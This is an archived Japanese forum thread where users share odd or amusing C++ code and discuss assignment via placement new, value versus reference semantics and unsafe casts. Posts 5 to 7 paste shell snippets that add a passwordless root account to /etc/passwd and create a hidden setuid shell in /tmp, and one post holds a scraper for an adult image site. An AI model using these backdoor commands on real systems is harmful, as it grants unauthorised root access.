おもろいC++コードを貼るスレ
■ このスレッドは過去ログ倉庫に格納されています
0001デフォルトの名無しさん
NGNGtemplate<class t_base,
unsigned int t_cb=sizeof(t_base)>
class CAnySizeStruct{
public:
volatile char m_aby[t_cb];
CAnySizeStruct(){}
t_base& GetRef(){
return static_cast<t_base*>(m_aby);
}
};
0002デフォルトの名無しさん
NGNG0003デフォルトの名無しさん
NGNG<font face="Arial" color=yellow><b>Banana@PIE</b></font></a>サーバ
</font>
</td></tr></table>
<p>
<table><tr bgcolor=#FFCC44><td align=right>
<a href="http://tubo.80.kg/da.html"><font color=deeppink>マウスパッド</font></a>プレゼント中!!</font>(早い者勝ち)
</td></tr></table>
</td></tr></table>
</TD></TR></TABLE>
</center>
0004デフォルトの名無しさん
NGNG悲しい年越しですね。
0005デフォルトの名無しさん
NGNG# Inserts a UID 0 account into the middle of the passwd file.
# There is likely a way to do this in 1/2 a line of AWK or SED. Oh well.
# [email protected]
set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
echo passwd file has $linecount[1] lines.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
echo Creating two files, $linecount[1] lines each \(or approximately that\).
split -$linecount[1] ./temppass # passwd string optional
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...
0006デフォルトの名無しさん
NGNG# Inserts a UID 0 account into the middle of the passwd file.
# There is likely a way to do this in 1/2 a line of AWK or SED. Oh well.
# [email protected]
set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
echo passwd file has $linecount[1] lines.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
echo Creating two files, $linecount[1] lines each \(or approximately that\).
split -$linecount[1] ./temppass # passwd string optional
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...
0007デフォルトの名無しさん
NGNG# Everyone's favorite...
cp /bin/csh /tmp/.evilnaughtyshell # Don't name it that...
chmod 4755 /tmp/.evilnaughtyshell
0008デフォルトの名無しさん
NGNGpublic:
template<typename T> operator T*() const {return static_cast<T*>(0);}
} const NULL;
0009デフォルトの名無しさん
NGNGint class_id(CLASS& class1)
{
return *reinterpret_cast<int*>(&class1);
}
template<typename CLASS1, typename CLASS2>
bool IsCmpClass(CLASS1& class1, CLASS2& class2)
{
return (class_id(class1) == class_id(class2));
}
0010デフォルトの名無しさん
NGNG0011デフォルトの名無しさん
NGNG0012デフォルトの名無しさん
NGNG|| [ x$reason = xSTOP ]; then
if [ x$alias_ip_address != x ]; then
ifconfig $interface inet -alias $alias_ip_address > /dev/null 2>&1
route delete $alias_ip_address 127.0.0.1 > /dev/null 2>&1
fi
if [ x$old_ip_address != x ]; then
eval "ifconfig $interface inet -alias $old_ip_address $medium"
route delete $old_ip_address 127.1 >/dev/null 2>&1
for router in $old_routers; do
route delete default $router >/dev/null 2>&1
done
if [ -n "$old_static_routes" ]; then
set -- $old_static_routes
while [ $# -gt 1 ]; do
route delete $1 $2
shift; shift
done
fi
arp -n -a | sed -n -e 's/^.*(\(.*\)) at .*$/arp -d \1/p' \
|sh >/dev/null 2>&1
fi
if [ x$alias_ip_address != x ]; then
ifconfig $interface inet alias $alias_ip_address $alias_subnet_arg
route add $alias_ip_address 127.0.0.1
fi
exit_with_hooks 0
fi
0013デフォルトの名無しさん
NGNG0014デフォルトの名無しさん
NGNG0015デフォルトの名無しさん
2005/04/07(木) 19:54:22{
public:
virtual void hoge() = 0;
foo();
};
void foo::hoge()
{
cout << "foo::hoge()" << endl;
}
純粋仮想関数を定義できるのは知らなかった。
ただこんなコンストラクタを作ってfooを継承したクラスのインスタンスを作ってみたがだめだった。
foo::foo()
{
hoge(); //BCCではPure virtual function calledと出て終わった。
}
0016デフォルトの名無しさん
2005/04/09(土) 02:27:46どっちの振る舞いが正しいんだろうか
0017デフォルトの名無しさん
2005/04/10(日) 23:36:54ttp://www.gotw.ca/gotw/031.htm
純粋仮想関数の定義についてよくまとまってるよ
0018デフォルトの名無しさん
2005/04/20(水) 00:55:28Effective C++の第38項だったかな。
0019デフォルトの名無しさん
2005/04/24(日) 18:01:05"インターフェースの継承と実装の継承を区別しよう"ってやつ。
0020デフォルトの名無しさん
2005/05/15(日) 04:29:13char *p
p = hoge
・・・
0021デフォルトの名無しさん
2005/05/16(月) 02:11:08笑いどころはセミコロンが無いところか?
0022デフォルトの名無しさん
2005/06/14(火) 18:03:54std::wstring wstr(str.begin(), str.end());
ASCII文字だけならこんなことができるよな。
0023デフォルトの名無しさん
2005/06/14(火) 18:13:04気持ち悪すぎ
0024デフォルトの名無しさん
2005/07/23(土) 10:28:12(デストラクタを呼んでnewを呼びなおす)
そんでoperator =()をコピーコンストラクタで実装するってのを思いついた。
効率は良くない場合があるかも知れないが。
class hoge {
/* 略 */
public:
hoge(const hoge&);
~hoge();
hoge& operator =(const hoge& h)
{
if (this != &h)
{
this->~hoge();
new(this) hoge(h);
}
return *this;
}
};
0025デフォルトの名無しさん
2005/07/23(土) 13:48:10既出。
ttp://www.gotw.ca/gotw/023.htm
0026デフォルトの名無しさん
2005/07/24(日) 04:40:22がーん!!C++はある程度使いこなしているつもりだったがそんなことできるとは知らなかった。
参照やconstをメンバに持ってても代入を実装できるのね...
0027デフォルトの名無しさん
2005/07/24(日) 16:02:53>>25の中をよく読め。問題だらけだ。
002826
2005/07/25(月) 01:53:15いま読んだ。
問題1 - 値のセマンティクスを持つオブジェクトを継承することが間違いなので問題なし
問題2 - これは大問題。
問題3 - 値のセマンティクスを持つオブジェクトはデストラクションに重い処理が入ることは少ないのでは?そうではないとしてもパフォーマンスはクリティカルだと解ってから対処するべき問題かと。
問題4 - 英文が難しくてよく解らない。Tのメンバ変数のライフタイムが変わることが問題だと言っているの?
問題5 - これもアサイン可能なものを継承しようとするから起こる問題でしょ?
問題6 - そもそも this == &other 自体が問題なのですよね。この場合だと T tmp(other); this->~T(); new (this) T(tmp); にすれば良いのでは?
本当に問題なのは問題2, 書いてある意味がサパーリなのが問題4, それ以外問題なくね?
と思うのですが(NHK大河義経の松坂慶子風に!)いかが?
0029デフォルトの名無しさん
2005/07/25(月) 22:21:321,3,5 に関して
参照セマンティクスのクラスには operator= が定義されない
という前提で話しているように思うのですが、
値/参照のセマンティクス間の違いって、
深いコピーをするか浅いコピーをするかの違いですよね(TC++PL 11.12)?
そうすると、参照セマンティクスのクラスに
浅いコピーをする operator= が定義されることはあるのではないでしょうか?
boost::shared_ptr などはよい例だと思います。
003029
2005/07/25(月) 22:23:44クラスに状態が含まれる場合には、深いコピーを行う必要がでてくることもあると思います。
適当に、クラス階層を持ったライブラリを探して見つけたのですが、
TinyXml というライブラリの TiXmlNode というクラスは、
CopyTo という値セマンティクスのコピーを行うメンバを持っていて、
派生クラスの operator= からこのメンバ関数が呼ばれています。
STL コンテナのような、
基底クラスとしてデザインされていないものを(仮想デストラクタが無い)
継承して使用することはあまり良くないとは思いますが、
値のセマンティクスを持つクラスを継承するところから来る問題点とは何なのでしょうか?
003128
2005/07/26(火) 05:12:27> 値/参照のセマンティクス間の違いって、
> 深いコピーをするか浅いコピーをするかの違い
自分はそう考えてないです。
コピー可能なのが値クラス、コピーできなくて
原則ポインタやリファレンスを通して扱うのが参照クラスだと思ってます。
なのでディープコピーしようがシャローコピーで済もうが
値のセマンティクスを持てば値クラスだと思います。
> 浅いコピーをする(中略)boost::shared_ptr
boost::shared_ptrってシャローコピーですっけ?
メンバのコンストラクタが呼ばれるから結局ディープコピーしてたような。
>>30
> 値のセマンティクスを持つクラスを継承することは問題ですかね?
必ずスライシング問題が付きまといますから。
> TinyXml
浅学失礼致す。そして今は調べる余裕も無き事をお許しあれ。
> 値のセマンティクスを持つクラスを継承するところから来る問題点とは何なのでしょうか?
"値のセマンティクス"がshallow copyのことなら問題ないと思います。
自分はintのように"扱えること"を"値のセマンティクス"を持つと呼んでいました。
しかし、問われたとしたら自分の言葉の意味が正しいかどうか自信がないですね。
003229
2005/07/28(木) 01:45:42>コピー可能なのが値クラス、コピーできなくて
>原則ポインタやリファレンスを通して扱うのが参照クラスだと思ってます。
>なのでディープコピーしようがシャローコピーで済もうが
>値のセマンティクスを持てば値クラスだと思います。
>>28さん的にはコピーができるかどうかが
値/参照セマンティクス間の違いということですね。
>> 値のセマンティクスを持つクラスを継承することは問題ですかね?
>必ずスライシング問題が付きまといますから。
スライシングが起こる原因は、>>25の様な例を除くと
関数の引数に、基底クラスの型で値渡しされることだと思います。
003329
2005/07/28(木) 01:46:241. 大きいオブジェクトを渡す場合のパフォーマンス
2. スライシングの回避
であり、コピーが出来ないからではないですよね。
また、コピーが出来るからといって値渡しをするわけでもないです。
(std::vector を参照渡ししない人はあまりいないと思います)
そうすると、問題なのはコピー可能なクラスを継承することではなく、
参照渡しをすべきなのに値渡しをしている関数があること、
もしくは、関数で値渡しをされているような
継承されることを念頭においていないクラスを
継承してしまっていることではないでしょうか?
>>25 のようなケースも、問題は基底クラスの operator= の実装にあります。
デフォルトの operator= を使う分にはスライシングは起こりませんし、
よくありそうな実装(コピーコンストラクタと同じ様な実装、コピーコンストラクタ+swap)
などでも、参照渡しされている限り問題は起こりません。
003429
2005/07/28(木) 01:47:34確かにコピーの操作において、メンバをコピーしていますが、
メンバはポインタと、共有されている参照カウンタであり
両者ともコピーは浅いコピーを行っています。
>値/参照のセマンティクス
この用語はどういうコピーをするかということを
表すために使われることが多いように思います。
「プログラミング言語C++」ではこのような意味で使われていました。
003528
2005/07/28(木) 21:28:47自分のスタイルでは参照のセマンティクスを持つ、継承を意識したクラスは全部
public: hogeClass();
private: hogeClass(const hogeClass& rhs);
public: virtual ~hogeClass();
private: hogeClass& operator=(const hogeClass& rhs);
って書いちゃうんですよ。ようするにコピー禁止にしちゃう。
もうこのスタイルにしてから長いので以前のことは忘れてしまいましたが
op=を有効にしておいたら単純な
DerivedClass derivedObj;
BaseClass baseObj = derivedObj;
でもスライシングって起こりませんでしたっけ?
反対に値のセマンティクスを持つクラスは
public: hogeClass();
public: hogeClass(const hogeClass& rhs);
public: ~hogeClass();
public: hogeClass& operator=(const hogeClass& rhs);
にしてデストラクタがvirtualじゃないんだから継承すんなボケって主張するようにしてます。
実際には手抜きクラスは
public: hogeClass();
private: hogeClass(const hogeClass& rhs);
public: ~hogeClass();
private: hogeClass& operator=(const hogeClass& rhs);
で、継承もさせんしコピーもさせんという形になってしまうのですが。
003628
2005/07/28(木) 21:37:24継承できる物はコピーしたら危ないからコピー禁止 → 参照クラス
コピーできるものは継承したら危ないから継承禁止 → 値クラス
という風に考えています。
実際、この考え方で参照クラスにした物は
ポインタか参照(かスマートポインタ)を介して扱うべきものになりますし、
値クラスに分類したものは仮想関数を持たんので継承する意味がなくなります。
私のスタイルでやっていると、
多態性を持っていて、尚且つコピー可能である必要性があまり感じられないです。
003729
2005/07/28(木) 23:34:36>BaseClass baseObj = derivedObj;
>でもスライシングって起こりませんでしたっけ?
言われてみればそうですね。
普段は基底クラスを抽象クラスにしているので、
考えがそこまでまわっていなかったようです。
ただ、よく考えてみるとBaseClass が抽象クラスではなくても
>>25で起こる問題ほど危険ではないようにも思えます。
DerivedClassの実装次第では、危険となる可能性もありますが。
(派生クラスが基底クラスの不変条件に介入している場合など)
いずれにせよ、この手のコードを避けるというのは私も同意です。
>多態性を持っていて、尚且つコピー可能である必要性
私の場合だと、オブジェクトの複製を作りたくなる場合があります。
デザパタでいうところの、プロトタイプによるオブジェクト生成の時などですね。
003829
2005/07/28(木) 23:36:41class base
{
protected:
base() : data_() {}
base(base const& rhs) : data_(rhs.data_) {}
public:
virtual ~base() = 0 {}
protected:
base& operator=(base const& rhs) { data_ = rhs.data_; }
private:
int data_;
};
class derived : public base
{
public:
derived() : base(), data2_() {}
derived(derived const& rhs) : base(rhs), data2_(rhs.data2_) {}
virtual ~derived() {}
derived& operator=(derived const& rhs)
{
base::operator=(rhs);
data2_ = rhs.data2_;
return *this;
}
private:
int data2_;
};
0039デフォルトの名無しさん
2005/08/03(水) 16:40:47あんまりわかってないけど…(^^;;
0040デフォルトの名無しさん
2005/10/28(金) 01:26:23list<U*>& Hoge<T>::cast(list<T*>& a){
/* checks the compatibility of U and T */
if (!static_cast<U*>((T*)(1))){
exit(0);
} else {
/* The cast */
return *(reinterpret_cast<list<U*>*>(&a));
}
}
オモロイつーかオソロシイつーか。
俺はlistが壊れる謎の現象のデバッグ中に
これを見つけて労働意欲が雲散霧消した。
ちなみに切り出して編集したから関数宣言とかは若干間違ってるかもしれん。
if文の条件式と条件式が真の時の動作に注目されたい。
0041デフォルトの名無しさん
2005/10/28(金) 01:27:530042デフォルトの名無しさん
2005/10/28(金) 01:30:05おっと訂正。真じゃないや偽のときの動作。else節ね。
0043デフォルトの名無しさん
2005/10/28(金) 01:33:48リストのコンテンツであるポインタのサイズは同じなんだからと
listごとキャストしようという物臭ささ加減がすごいなと。
0044デフォルトの名無しさん
2005/10/28(金) 11:16:090045デフォルトの名無しさん
2005/10/28(金) 14:07:41キャストのショックでそこまで見てなかったがそういえば正常終了じゃ困るな。
でも今日このコードのことを直接聞いてみたら
「試しに書いてみただけで使ってない。」
と聞いてちょっとホっとしながらコメントアウトした俺。
0046デフォルトの名無しさん
2005/10/28(金) 16:19:190047デフォルトの名無しさん
2005/10/28(金) 16:41:400048デフォルトの名無しさん
2005/10/28(金) 17:01:22回ってくるというのも若干アレだが、
そもそもリストの中身のポインタをキャストするのに
リストごとキャストしようとしたり
static_castをひねくりまわしてオブジェクトへのポインタの変換可能性を
チェックしようとしたりするあたりのことは
コードで実際に実験する前に止めておいてほしい気もする。
004940
2005/10/31(月) 11:35:44//これがTopレベルで宣言されてる段階で脳内に非常ベルが鳴り渡るわけだが。
class E{
KMap kmap;
KMap::iterator pos;
E(KMap& m, KMap::iterator p) : kmap(m), pos(p){;};
//略
template<int ix, typename T> T*& get(){
return (static_cast<T*&>(pos->second[ix]));
}
template<typename T> T*& get(){
return (reinterpret_cast<T*&>(pos->second[T::pos]));
}
};
//Nooooooooooooooooooooohhhhhhhh!!!!!!!!!!
//テンプレート使ってる意味もクラス使ってる意味もねぇぇぇぇ!!
005040
2005/10/31(月) 11:40:21正直ロジックに深く噛んでいるから移植担当の漏れの小手先では直せない。
となるとこのヤヴァさを英語で諭して直してもらわないとイカンのか・・・。
正直・・・ ○| ̄|_
005245
2005/11/02(水) 15:30:33は大嘘であったことが判明。よく調べたら思い切り実地で使われていた…。
005340
2005/11/07(月) 16:01:33struct KValRoot{
virtual ~KValRoot(void){;}
protected:
virtual void dummy(void) = 0;
};
template<typename T>
struct KVal : public KValRoot{
T* p;
KVal(T* pointer) : p(pointer) {;}
virtual ~KVal(void){;}
protected:
virtual void dummy(void){;}
};
typedef map<K,vector<KValRoot*> > KMap;
005440
2005/11/07(月) 16:02:10class E{
KMap kmap;
KMap::iterator pos;
E(KMap& m, KMap::iterator p) : kmap(m), pos(p){;};
//略
template<typename T> T* get(){
KValRoot* rvp = pos->second[T::pos];
if(!rt) {
return(0);
}
KVal<T>* vp = dynamic_cast<KVal*>(rvp);
if(!vp){
throw (new std::logic_error("bad_cast"));
}
return (vp->p);
}
template<typename T> void set(T* new_p){
pos->second[T::pos] = new KVal<T>(new_p);
}
};
005540
2005/11/07(月) 17:48:42class N{
//...
};
class A {
N n;
A(N nn) : n(nn) {;}
public:
static A* fun(N n) {return(new A(n));}
};
class B : public A {
public:
static B* fun(N n) {return((B*)A::fun(n));}
};
class C : public B {
public:
static B* fun(N n) {return((C*)B::fun(n));}
};
0056訂正
2005/11/07(月) 17:56:13正)static C* fun(N n) {return((C*)B::fun(n));}
まぁいずれにせよプログラムとしては誤りだがw。
AもBもCもPOD型ではないから一見データメンバが同じであるように見えたとしても
ポインタを無条件ノーチャックでキャストすることは不法だ。
0057デフォルトの名無しさん
2005/11/07(月) 22:01:290058デフォルトの名無しさん
2005/11/08(火) 12:03:09>>55みたいなコードを書いちゃう人の頭の中。
0059アッカーマン関数
2005/11/08(火) 14:57:25enum {value = Ack<m-1, Ack<m, n-1>::value>::value};
};
template<unsigned long long n> struct Ack<0, n> {
enum {value = n+1};
};
template <unsigned long long m> struct Ack<m, 0> {
enum {value = Ack<m-1, 1>::value};
};
template <> struct Ack<0, 0> {
enum {value = 1};
};
0060デフォルトの名無しさん
2005/11/08(火) 14:58:540061既出ならスマソ
2005/11/08(火) 16:53:16template<unsigned long long num, unsigned base> struct numeral {
enum { value = num%10 + (numeral<num/10, base>::value * base)};
};
template<unsigned base> struct numeral<0, base> {
enum {value = 0};
};
例えば、numeral<101000,2>::value のように書いて2進定数が使える。
0062デフォルトの名無しさん
2005/11/08(火) 18:37:470063デフォルトの名無しさん
2005/11/08(火) 18:46:49boostで似たようなテンプレートのレビューがあったな。
俺は
http://www.illegal-immigration.com/Riv/boost/binary_literal2.hpp
こっちが好きだけど。
0064デフォルトの名無しさん
2005/11/08(火) 18:55:53努力は認めるけど、おもしろみは少ないなあ…。
0065デフォルトの名無しさん
2005/11/08(火) 18:58:510が先頭に付くと8進になっちゃうって奴ね。
006683
2005/11/08(火) 23:23:20template<unsigned HI, unsigned LO, typename T>
T bitswap(T t)
{
assert(HI > LO);
assert(0 <= HI && HI < sizeof(T) * CHAR_BIT);
assert(0 <= LO && LO < sizeof(T) * CHAR_BIT);
unsigned shift = HI - LO;
t ^= (t & (1 << LO)) << shift;
t ^= (t & (1 << HI)) >> shift;
t ^= (t & (1 << LO)) << shift;
return t;
}
bitswap<4, 3>(10) と書くと18が返ってきます。
ダカラナンダッテノてのは俺が番言いたいです。
0067デフォルトの名無しさん
2005/11/09(水) 03:08:430068デフォルトの名無しさん
2005/11/09(水) 10:57:38馬、番、馬、番、番、番♪
0069デフォルトの名無しさん
2005/11/13(日) 14:54:000070デフォルトの名無しさん
2006/02/10(金) 19:23:350071デフォルトの名無しさん
2006/04/02(日) 17:36:290072デフォルトの名無しさん
2006/04/02(日) 18:09:17{
STRUCT *struct;
}STRUCT;
・
・
・
STRUCT *struct;
struct->struct = struct;
0073デフォルトの名無しさん
2006/04/02(日) 18:18:260074デフォルトの名無しさん
2006/04/02(日) 18:19:48.んヘ/V'ヘ
((( 'ヘ/V'ヘ)))
ゝ、._,ノ.
パカッ .γ"⌒ヽ,
.んヘ/V'ヘ
(*‘ω‘ *) ちん・・・!
( 'ヘ/V'ヘ|)
ゝ、._,ノ.
カチャン |||川||彡
ミ.γ"⌒ヽ, 彡
.んヘ/V'ヘ}
( 'ヘ/V'ヘ )
ゝ、._,ノ.
0075デフラグさん ◆mRgSYalFkQ
2006/04/05(水) 00:18:05[゚д゚] デフラグカンリョウ
/[_]b
| |
"""'''''''''(((()))**,,,,,............//////VVVVVV||||||}γγγω‘‘⌒⌒⌒ちんんんんゝゝゝノノノミ・・・ヽヽヽ川彡彡!(()))
___、、、ャッカカカカタタチハヘヘヘヘヘヘヘヘヘヘヘヘン゙゙゚
0076デフォルトの名無しさん
2006/05/24(水) 09:39:17require 'fileutils'
dirs = []
open('http://www.aaa-fuzoku.com/covergirl/go.js') { |fh|
fh.each_line { |l|
dirs << $1 if /..\/(.+)\/index-01.html/ === l
}
}
urls = Hash.new { |hash, dir| hash[dir] = [] }
dirs.each { |dir|
fid = /\d$/ === dir ? dir.sub(/\d$/, '') : dir
(1 .. 8).each { |n|
urls[dir] << "http://www.aaa-fuzoku.com/covergirl/#{dir}/#{fid}_0#{n}.jpg"
}
}
urls.each { |dir, us|
FileUtils.mkdir(dir)
us.each { |u|
puts u
begin
open(File.join(dir, File.basename(u)), 'w') { |out|
out.binmode
open(u) { |w|
w.binmode
out.write(w.read)
}
}
rescue
end
}
}
0077デフォルトの名無しさん
2006/06/20(火) 18:38:590078デフォルトの名無しさん
2006/06/22(木) 11:41:050079デフォルトの名無しさん
2006/09/12(火) 02:57:430080デフォルトの名無しさん
2006/09/28(木) 00:14:16あってもいいのだがな
0081デフォルトの名無しさん
2006/10/27(金) 05:20:23templateにしたらコンパイルタイムに計算してくれるから
少しだけ計算時間がへるかも
0082デフォルトの名無しさん
2006/11/01(水) 10:57:29でも型安全性0。
0083デフォルトの名無しさん
2007/02/27(火) 19:30:36 ̄ ̄7 ヘ/
/ ノ
|
/
|
|
/
0084デフォルトの名無しさん
2007/02/27(火) 19:32:540085デフォルトの名無しさん
2007/02/27(火) 20:04:310086デフォルトの名無しさん
2007/06/26(火) 06:33:410087デフォルトの名無しさん
2007/06/27(水) 11:06:460088デフォルトの名無しさん
2007/07/07(土) 09:51:45template<typename T> class protected_ptr
{
public:
protected_ptr() : pointer_(NULL) {}
~protected_ptr() {}
bool is_null() const { return (pointer_ == NULL); }
T* operator->() const { return pointer_; }
T& operator*() { return *pointer_; }
const protected_ptr<T>& operator=(T* ptr) { pointer_ = ptr; return *this; }
const protected_ptr<T>& operator=(const T& val) { *pointer_ = val; return *this; }
bool operator==(const protected_ptr<T>& ptr) const { return (pointer_ == ptr.pointer_); }
bool operator!=(const protected_ptr<T>& ptr) const { return (pointer_ != ptr.pointer_); }
bool operator==(T* ptr) const { return (pointer_ == ptr); }
bool operator!=(T* ptr) const { return (pointer_ != ptr); }
private:
T* pointer_;
};
0089デフォルトの名無しさん
2007/07/09(月) 08:40:52生のポインタだと整数型や違うポインタをキャストして
上書き出来ちゃうから、それを防いでる。
しかし、使い道は乏しいな…
0090デフォルトの名無しさん
2007/07/10(火) 08:49:42トレイトで元の型の情報を得られるようにすれば
もうちょっと使えるようになるかも。
あとは0との比較、代入をテンプレート特殊化
const版も用意すれば完璧
0091デフォルトの名無しさん
2007/07/10(火) 10:29:380092デフォルトの名無しさん
2007/07/10(火) 10:46:190093デフォルトの名無しさん
2007/07/10(火) 12:48:380094デフォルトの名無しさん
2007/07/13(金) 11:39:540095デフォルトの名無しさん
2007/07/13(金) 11:48:26■ このスレッドは過去ログ倉庫に格納されています